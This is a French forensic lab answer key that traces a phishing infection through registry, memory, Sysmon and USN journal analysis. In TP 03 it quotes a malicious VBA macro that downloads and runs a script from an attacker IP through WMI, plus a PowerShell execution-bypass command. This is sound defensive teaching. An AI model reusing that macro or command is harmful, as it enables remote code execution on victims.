

Correction des exercices de Travaux Pratiques

Ce document présente une correction des exercices de travaux pratiques (Lab 01 à Lab 03) du cours d'analyse forensique.

La partie "mise en place de l'environnement" n'est pas couverte. Si vous avez des problèmes relatifs à votre environnement Python, essayez les solutions suivantes:

- Utilisez une version Python installée depuis <https://python.org>. La version du Microsoft Store peut être la cause de nombreux problèmes.
- Utilisez Powershell comme invite de commande, pas cmd.exe
- Vérifiez l'association de fichier pour les fichiers ".py": ça doit être "Python", pas "Visual Studio Code"

La plupart des commandes sont tapées dans une invite Powershell, sous Windows. Si le premier caractère de la ligne est ">", cela signifie que j'utilise Powershell. Sinon, si c'est "\$", cela signifie que j'utilise Bash sous Linux (ou WSL).

Si une partie de la correction n'est pas claire, n'hésitez pas à nous envoyer un mail:

- simon.garrelou@airbus.com
- sylvain.peyrefitte@airbus.com

TP 01

1. Read through the help of regrippy

Rien à faire ici, si ce n'est lire la doc. Toujours prendre le réflexe d'utiliser "-h" ou "--help" pour glaner des informations sur la syntaxe d'un logiciel qu'on ne connaît pas !

2. Locate the system registry hives in your Surge extract. How many are there?

Les fichiers de "ruche" sont situés dans C:\Windows\System32\config\ ([Slide 37](#))

L'archive fournie contient une copie de ces fichiers dans le dossier

"files\C\Windows\System32\config".

On peut voir qu'il y a 4 ruches système: SOFTWARE, SYSTEM, SECURITY et SAM

Nom	Modifié le
 SAM	21/02/2022 09:31
 SAM.LOG1	07/12/2019 09:03
 SAM.LOG2	07/12/2019 09:03
 SECURITY	21/02/2022 09:31
 SECURITY.LOG1	07/12/2019 09:03
 SECURITY.LOG2	07/12/2019 09:03
 SOFTWARE	21/02/2022 09:31
 SOFTWARE.LOG1	07/12/2019 09:03
 SOFTWARE.LOG2	07/12/2019 09:03
 SYSTEM	21/02/2022 09:31
 SYSTEM.LOG1	07/12/2019 09:03
 SYSTEM.LOG2	07/12/2019 09:03

3. Using regrippy, extract the following information:

- Name of the machine
- Version of Windows
- List of user(s) and group(s)
- Last logged-on user
- Time zone

Nous allons lancer regrippy de la manière suivante:

```
> regrip.py --root files/C mon_plugin
```

Nous remplacerons "mon_plugin" par le nom du plugin à utiliser à chaque fois.

- Nom de la machine: **comprname**: DESKTOP-OKS2F21

- Version: **version**: Windows 10 Pro
- Utilisateurs et groupes: **localusers**:

Administrateur
DefaultAccount
Invité
Thomas

localgroups:

"Administrateurs" with 2 direct members

S-1-5-21-946633162-1010594297-1117379599-500

(Administrateur)

S-1-5-21-946633162-1010594297-1117379599-1001

(Thomas)

"Utilisateurs" with 2 direct members

S-1-5-4

S-1-5-11

"Invités" with 1 direct members

S-1-5-21-946633162-1010594297-1117379599-501

(Invité)

"Utilisateurs avec pouvoir" with 0 direct members

"Opérateurs de sauvegarde" with 0 direct members

"Duplicateurs" with 0 direct members

"Utilisateurs du Bureau à distance" with 0 direct members

"Opérateurs de configuration réseau" with 0 direct members

"Utilisateurs de l'Analyseur de performances" with 0 direct members

"Utilisateurs du journal de performances" with 0 direct members

"Utilisateurs du modèle COM distribué" with 0 direct members

"IIS_IUSRS" with 1 direct members

S-1-5-17

"Opérateurs de chiffrement" with 0 direct members

"Lecteurs des journaux d'événements" with 0 direct members

"Administrateurs Hyper-V" with 0 direct members

"Opérateurs d'assistance de contrôle d'accès" with 0 direct members

"Utilisateurs de gestion à distance" with 0 direct members

"System Managed Accounts Group" with 1 direct members

S-1-5-21-946633162-1010594297-1117379599-503

(DefaultAccount)

"Propriétaires d'appareils" with 0 direct members

- Dernier utilisateur connecté: **lastloggedon:**
LastLoggedOnSAMUser .\Thomas
LastLoggedOnUser .\Thomas
LastLoggedOnUserSID
S-1-5-21-946633162-1010594297-1117379599-1001
- Fuseau horaire: **timezone:**
ROOT\ControlSet001\Control\TimeZoneInformation =>
TimeZoneKeyName [Romance Standard Time]

4. [Use regrippy's "regtime" plugin to create a timeline of the registry \(in Body file format\).](#)

On utilise le paramètre "--bodyfile" pour générer un résultat dans ce format, et le plugin "regtime". On redirige le résultat dans un fichier "regtime.txt".

```
> regrip.py --root files/C/ --bodyfile regtime > regtime.txt
```

Fin du TP 01.

TP 02

1. In order to start investigating, you must have a lead. Which Indicator of Compromise can you identify in the note given with your Surge extract?

Un IoC est un marqueur technique qui permet d'identifier une machine comme "compromise" par un attaquant ([Slide 17](#)). Si on reprend le message du tout début, on peut voir la mention de l'adresse IP 63.32.214.139

Cette IP est notre Indicateur de Compromission, et va donner un point de départ à notre analyse.

2. Using the cheat sheet, identify a plugin which might help you check the presence of this IoC in the memory dump.

On ouvre la cheatsheet, et on cherche un plugin qui pourrait nous permettre de voir les connexions à une IP. "netscan" a l'air pas mal (c'est le seul dans la section "Network information").

3. Use Volatility to identify the processes linked to this IoC. Note their Process ID.

Le plugin se lance comme ceci (je redirige le résultat dans un fichier pour pouvoir plus facilement l'analyser):

```
> vol -f memory/data.lime windows.netscan > netscan.txt
```

Ensuite, Ctrl+F dans le fichier de résultat, on cherche l'IP et on tombe sur deux lignes:

```
0xde88136f1010  TCPv4 172.16.26.130    61437 63.32.214.139    80
CLOSED      7616  x86.exe      2022-02-21 09:36:08.000000
0xde88140d8a20  TCPv4 172.16.26.130    61348 63.32.214.139    80
CLOSED      4512  WINWORD.EXE   2022-02-21 09:33:26.000000
```

Pour chacune, le nombre en gras correspond au Process ID.

4. Find the full command line used to launch Microsoft Word.

Manière 1: on utilise le plugin "cmdline" de Volatility pour retrouver la ligne de commande qui correspond à WINWORD.EXE:

```
> vol -f memory/data.lime windows.cmdline > cmdline.txt
```

Ensuite, Ctrl+F dans le fichier pour chercher "WINWORD", et on tombe sur la ligne:

```
4512 WINWORD.EXE      "C:\Program Files (x86)\Microsoft
Office\Root\Office16\WINWORD.EXE" /n
"C:\Users\Thomas\Desktop\SalarySlip.docx" /o ""
```

Le PID correspond à celui qu'on avait trouvé (4512), donc c'est bon.

Manière 2: on peut aussi chercher la ligne de commande dans les logs Sysmon. On ouvre

```
files/C/Windows/System32/winevt/logs/Microsoft-Windows-Sysmon%40p
erational.evtx
```

Et on cherche "WINWORD". On finit par tomber sur l'événement suivant, qui nous donne

la même réponse:

```
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698fbd9}" />
  <EventID>1</EventID>
  <Version>5</Version>
  <Level>4</Level>
  <Task>1</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8000000000000000</Keywords>
  <TimeCreated SystemTime="2022-02-21T09:33:24.8047437Z" />
  <EventRecordID>9267</EventRecordID>
  <Correlation />
  <Execution ProcessID="3160" ThreadID="5196" />
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
  <Computer>DESKTOP-OKS2F21</Computer>
  <Security UserID="S-1-5-18" />
</System>
- <EventData>
  <Data Name="RuleName"></Data>
  <Data Name="UtcTime">2022-02-21 09:33:24.796</Data>
  <Data Name="ProcessGuid">{c73c0efa-5c64-6213-e700-000000000800}</Data>
  <Data Name="ProcessId">4512</Data>
  <Data Name="Image">C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE</Data>
  <Data Name="FileVersion">16.0.14827.20198</Data>
  <Data Name="Description">Microsoft Word</Data>
  <Data Name="Product">Microsoft Office</Data>
  <Data Name="Company">Microsoft Corporation</Data>
  <Data Name="OriginalFileName">WinWord.exe</Data>
  <Data Name="CommandLine">"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Thomas\Desktop\SalarySlip.docx" /o ""</Data>
  <Data Name="CurrentDirectory">C:\Users\Thomas\Desktop\</Data>
  <Data Name="User">DESKTOP-OKS2F21\Thomas</Data>
  <Data Name="LogonGuid">{c73c0efa-5c21-6213-aca4-010000000000}</Data>
  <Data Name="LogonId">0x1a4ac</Data>
  <Data Name="TerminalSessionId">1</Data>
  <Data Name="IntegrityLevel">Medium</Data>
  <Data Name="Hashes">MD5=CF5D7D09A19E863A00EEFF091C5F6782,SHA256=A7DDA5AB49C52CA2666633D3A41EAE5B123911D5324098AE2E19B1522DD9D69</Data>
  <Data Name="ParentProcessGuid">{c73c0efa-5c26-6213-6e00-000000000800}</Data>
  <Data Name="ParentProcessId">4540</Data>
  <Data Name="ParentImage">C:\Windows\explorer.exe</Data>
  <Data Name="ParentCommandLine">C:\WINDOWS\Explorer.EXE</Data>
  <Data Name="ParentUser">DESKTOP-OKS2F21\Thomas</Data>
</EventData>
</Event>
```

5. Use the provided “activity_thomas.txt.zip” with mactime to identify when SalarySlip.docx was created.

Le fichier “activity_thomas.txt.zip” vous a été poussé directement sur vos ordi. Le fichier est au format “Body file”, on va faire une pipeline de commande qui va:

- Lire le fichier
- Récupérer les lignes qui correspondent à “SalarySlip.docx”
- Formater le résultat avec mactime

```
$ cat activity_thomas.txt | grep 'SalarySlip.txt' | mactime -b - -y
```

La valeur “-” passée à l’option “-b” de mactime lui dit de lire les données depuis *stdin*, qui correspond au résultat de la commande d’avant.

Dans ce cas précis, on fait le “grep” avant de formater avec mactime: ça va plus vite, car mactime ne va travailler que sur les quelques lignes qui correspondent.

On cherche le moment où SalarySlip a été créé: c’est le temps “birth” (b):

```
2022-02-21T09:08:14Z 50 ...b 0 4172 0 26281 \\Users\Thomas\Desktop\SalarySlip.docx
```

6. In the timeline, what can you see around the time when this file was created? What can it tell you about the initial entry point?

Pour répondre à cette question, on formate activity_thomas.txt avec mactime, on met le résultat dans un fichier, et on cherche dedans avec son éditeur de texte.

```
$ mactime -b activity_thomas.txt -y > mactime.txt
```

Ensuite, on Ctrl+F “SalarySlip.docx” pour retrouver la valeur de la question d’avant, et on scrolle vers le haut.

On tombe vite sur des fichiers relatifs à Mozilla Firefox. De plus, la présence d'un Alternate Data Stream ([slide 28](#)) "Zone:Identifier" nous confirme que ce fichier vient bien d'Internet: il a probablement été téléchargé avec Firefox.

7. [Using the cheat sheet, identify a plugin which can be used to dump files from memory.](#)

Y'a un plugin qui s'appelle "dumpfiles", ça a l'air bien. N'oubliez pas de lire son aide avec "-h", sinon vous allez dumper *tous* les fichiers de la mémoire !

8. [Using Volatility, dump the file SalarySlip.docx from the memory.](#)

Manière 1: On peut dumper tous les fichiers ouverts par WINWORD (PID 4512 pour rappel):

```
> vol -f memory/data.lime windows.dumpfiles --pid 4512
```

Manière 2: On liste les fichiers avec le plugin "filescan", et ensuite on utilise "dumpfiles" pour dumper exactement le fichier qui nous intéresse:

```
> vol -f memory/data.lime windows.filescan
```

```
0xde88129738e0  \Users\Thomas\Desktop\SalarySlip.docx  216
```

```
> vol -f memory/data.lime windows.dumpfiles --virtaddress 0xde88129738e0
```

Partie construction de la frise chronologique

1. Pour cette question, il faut juste suivre l'annexe pour extraire au format XML les journaux d'événements. Vous pouvez aussi répondre aux questions en utilisant directement l'Event Viewer de Windows.
2. [From the XML, find out which process created the file SalarySlip.docx.](#)
En regardant la doc de Sysmon, on voit que les événement de création de fichier ont l'Event ID 11. Donc, on cherche "SalarySlip.docx" dans les logs Sysmon jusqu'à tomber sur un événement ayant comme ID 11.

```

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698ffbd9}" />
  <EventID>11</EventID>
  <Version>2</Version>
  <Level>4</Level>
  <Task>11</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8000000000000000</Keywords>
  <TimeCreated SystemTime="2022-02-21T09:08:20.2451699Z" />
  <EventRecordID>8229</EventRecordID>
  <Correlation />
  <Execution ProcessID="2728" ThreadID="3956" />
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
  <Computer>DESKTOP-OKS2F21</Computer>
  <Security UserID="S-1-5-18" />
</System>
- <EventData>
  <Data Name="RuleName">-</Data>
  <Data Name="UtcTime">2022-02-21 09:08:20.234</Data>
  <Data Name="ProcessGuid">{c73c0efa-5642-6213-a200-000000000600}</Data>
  <Data Name="ProcessId">7064</Data>
  <Data Name="Image">C:\Program Files\Mozilla Firefox\firefox.exe</Data>
  <Data Name="TargetFilename">C:\Users\Thomas\Downloads\SalarySlip.docx</Data>
  <Data Name="CreationUtcTime">2022-02-21 09:08:20.234</Data>
  <Data Name="User">DESKTOP-OKS2F21\Thomas</Data>
</EventData>
</Event>

```

Cet événement confirme bien la création du fichier par Firefox.

- Find the process creation event which corresponds to Microsoft Word opening the document. At what time did this happen?

On fait la même chose, mais cette fois on cherche l'Event ID 1, qui correspond à la création de processus.

```

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698ffbd9}" />
  <EventID>1</EventID>
  <Version>5</Version>
  <Level>4</Level>
  <Task>1</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8000000000000000</Keywords>
  <TimeCreated SystemTime="2022-02-21T09:09:01.4647213Z" />
  <EventRecordID>8340</EventRecordID>
  <Correlation />
  <Execution ProcessID="2728" ThreadID="3956" />
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
  <Computer>DESKTOP-OKS2F21</Computer>
  <Security UserID="S-1-5-18" />
</System>
- <EventData>
  <Data Name="RuleName"></Data>
  <Data Name="UtcTime">2022-02-21 09:09:01.457</Data>
  <Data Name="ProcessGuid">{c73c0efa-56ad-6213-f900-000000000600}</Data>
  <Data Name="ProcessId">6224</Data>
  <Data Name="Image">C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE</Data>
  <Data Name="FileVersion">16.0.14827.20198</Data>
  <Data Name="Description">Microsoft Word</Data>
  <Data Name="Product">Microsoft Office</Data>
  <Data Name="Company">Microsoft Corporation</Data>
  <Data Name="OriginalFileName">WinWord.exe</Data>
  <Data Name="CommandLine">"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Thomas\Desktop\SalarySlip.docx" /o ""</Data>
  <Data Name="CurrentDirectory">C:\Users\Thomas\Desktop</Data>
  <Data Name="User">DESKTOP-OKS2F21\Thomas</Data>
  <Data Name="LogonGuid">{c73c0efa-5636-6213-3681-070000000000}</Data>
  <Data Name="LogonId">0x78136</Data>
  <Data Name="TerminalSessionId">1</Data>
  <Data Name="IntegrityLevel">Medium</Data>
  <Data Name="Hashes">MD5=CF5D7D09A19E863A00EEFF091C5F6782,SHA256=A7DDA5AB49C52CA2666633D3A41EAE5B123911D5324098AE2E19B1522DD9D69</Data>
  <Data Name="ParentProcessGuid">{c73c0efa-5637-6213-8c00-000000000600}</Data>
  <Data Name="ParentProcessId">4736</Data>
  <Data Name="ParentImage">C:\Windows\explorer.exe</Data>
  <Data Name="ParentCommandLine">C:\WINDOWS\Explorer.EXE</Data>
  <Data Name="ParentUser">DESKTOP-OKS2F21\Thomas</Data>
</EventData>
</Event>

```

Attention: il y a plusieurs événements qui correspondent ! On se concentre sur celui à 9h09, pas celui à 10h !

Heure exacte: 2022-02-21 09:09:01.457 UTC

4. From the event found above, note the value of the field “*ProcessGuid*”.
Le Process GUID est “{c73c0efa-56ad-6213-f900-000000000600}”
5. Pour répondre à cette question, on cherche le Process GUID trouvé dans la question d’avant dans tous les logs Sysmon.

Time (UTC)	Action
2022-02-21T09:08:14Z	SalarySlip.docx created
2022-02-21T09:09:01Z	SalarySlip opened in Word
2022-02-21T09:09:34Z	“TrustedDocuments” registry key created
2022-02-21T09:09:34Z	SalarySlip added to the TrustRecords registry key
2022-02-21T09:09:38Z	Word.vbs created

Fin du TP 02

TP 03

1. [Office macros can be extracted by using the "olevba" tool installed during the previous lab. Run "olevba" against the file you extracted. Does it work?](#)

On lance "olevba" sur le fichier extrait:

```
> olevba .\SalarySlip.docx
```

```
ERROR    Failed to open .\SalarySlip.docx -- probably not supported!
```

Mince, le fichier n'est pas supporté ! La réponse à la question "Does it work" est donc **non**.

2. [According to the article, where should the macro data be stored for this type of document? Is it the case with your file?](#)

En lisant le document, on se rend compte que olevba devrait fonctionner avec les fichiers Word Open XML.

L'article nous dit que les fichiers Word sont juste des ZIP renommés. On peut donc l'ouvrir avec 7-Zip en faisant "Clic droit > 7-Zip > Open archive".

On devrait trouver le fichier contenant la macro au chemin "word/vbaProject.bin". Or, ce fichier n'existe pas dans notre document !

3. [What is the URL to the remote template?](#)

Le deuxième article nous explique que pour spécifier un template distant, il faut éditer le fichier "word/_rels/settings.xml.rels". Ce fichier est bien présent dans notre document !

On l'ouvre pour voir son contenu:

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships
  xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
    Target="http://63.32.214.139:80/Template"
    TargetMode="External"/>
</Relationships>
```

Ahah! On retrouve notre IP malveillante. L'URL vers le template est "http://63.32.214.139:80/Template"

4. [Extract this template from the memory dump.](#)

En lisant l'article sur le Remote Template Injection, on apprend que les templates Word ont l'extension ".dotm". On utilise donc la même technique que pour extraire SalarySlip.docx, mais cette fois on va chercher les fichiers contenant ".dotm". (voir question 8 du TP 02)

On trouve deux fichiers:

- Normal.dotm
- 53CAD87D.dotm

“Normal.dotm” est le template par défaut des documents Word, donc celui qui nous intéresse est l’autre !

5. [Using the article about vba_tools and the template, extract the VBA code present in the template.](#)

Si on ouvre ce template avec 7-Zip, cette fois-ci on trouve bien le fichier “vbaProject.bin” dans le dossier “word”. On l’extraît, et on utilise “olevba” pour en extraire le code:

```
> olevba vbaProject.bin
```

```
...
Sub Document_Open()
Dim x, s, u, f, t, c, d
Set x = CreateObject("Microsoft.XMLHTTP")
x.Open "GET",
"http://63.32.214.139:80/772578fcae6640e72796aabe55c23295", False
x.Send
Set f = CreateObject("Scripting.FileSystemObject")
Set t = f.CreateTextFile("Word.v" & "bs", True)
t.Write (x.responseText)
t.Close
Set c = GetObject("wi" & "nmg" & "mts:\\.\root\ci" &
"mv2").Get("Win32_Pro" & "cessStartup").SpawnInstance_
c.ShowWindow = 0
MsgBox ("Content enabled." & Chr(0) & GetObject("wi" & "nmgmt" &
"s:\\.\root\cimv2:Win3" & "2_Proce" & "ss").Create("csc" & "ript
" & CreateObject("wscript.shell").CurrentDirectory & "\Word.v" &
"bs"))
End Sub
...
```

6. [Extract the following IoCs:](#)

- a. [URL to the next stage](#): on voit le script faire une requête HTTP vers “http://63.32.214.139:80/772578fcae6640e72796aabe55c23295”
- b. [File name written on the disk](#): c’est un peu caché, mais le nom du fichier est “Word.vbs”
- c. [Technique used to execute the next stage](#): le script est exécuté à partir d’un objet “[winmgmt](#)”, qui correspond au service WMI.

7. [What does this next stage do? Use the information sources you have to find out:](#)

- a. [New processes created](#)
 - i. "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -noexit -file C:\Users\Thomas\ToolsInstaller.ps1

- b. Files dropped on the disk
 - i. C:\Users\Thomas\ToolsInstaller.ps1
- c. Registry keys modified
 - i. Rien

Toutes ces informations sont récupérées depuis Sysmon: on cherche la création de processus qui correspond à "cscript.exe", et ensuite on regarde tout ce qu'il a fait en pivotant sur son Process GUID ({c73c0efa-56d3-6213-0901-000000000600})

UsnJrnl analysis

1. Using the file activity listing provided in the previous lab, can you identify what Alternate Data Streams are present alongside the file "SalarySlip.docx"? What does this tell you about its origin?

On a déjà répondu à cette question dans la réponse à la question 6 du TP 02: l'ADS que l'on remarque est "Zone.Identifier", qui nous informe que ce fichier a été téléchargé depuis Internet.

2. Using this newly-installed application, parse the contents of the USN Journal present in your Surge extract. Store the results in a text file.

Pour savoir comment fonctionne usn.py, on utilise l'option "-h", comme d'habitude. On analyse l'UsnJrnl comme ceci:

```
> usn.py -f "files/C/$Extend/$UsnJrnl$J" -o usn.txt
```

3. Find the USN entries which correspond to the creation of the Word document. By looking at what files were modified before this timestamp, what can you gather about the source of this file?

On Ctrl+F "SalarySlip.docx" dans le fichier usn.txt. On tombe sur la ligne suivante:

```
2022-02-21 09:08:20.234283 | SalarySlip.docx | ARCHIVE |
FILE_CREATE
```

Si on remonte un peu, on voit des "webappsstore.sqlite", "data.sqlite", etc. Tous ces fichiers se rapportent à Firefox. Un peu plus haut, on voit:

```
2022-02-21 09:08:13.188995 | https+++mail.protonmail.com |
DIRECTORY | FILE_CREATE CLOSE
```

Cette ligne nous informe que quelques secondes avant de télécharger le fichier, l'utilisateur était sur Proton Mail. On peut en déduire que le fichier provient d'un mail, et que c'est donc du phishing.